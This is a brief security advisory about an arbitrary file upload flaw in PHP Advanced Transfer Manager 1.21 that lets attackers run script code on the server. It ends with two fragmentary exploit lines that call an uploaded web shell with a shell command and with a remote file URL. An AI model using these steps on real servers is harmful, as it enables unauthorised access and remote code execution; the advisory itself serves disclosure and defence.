PHP Advanced Transfer Manager is prone to a vulnerability regarding the uploading of arbitrary files.
If successfully exploited, an attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the affected server.
This issue reportedly affects PHP Advanced Transfer Manager version 1.21; earlier versions may also be vulnerable.
Then upload, and go to http://www.example.com/files/nst.php.ns?nst=ls -la
Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt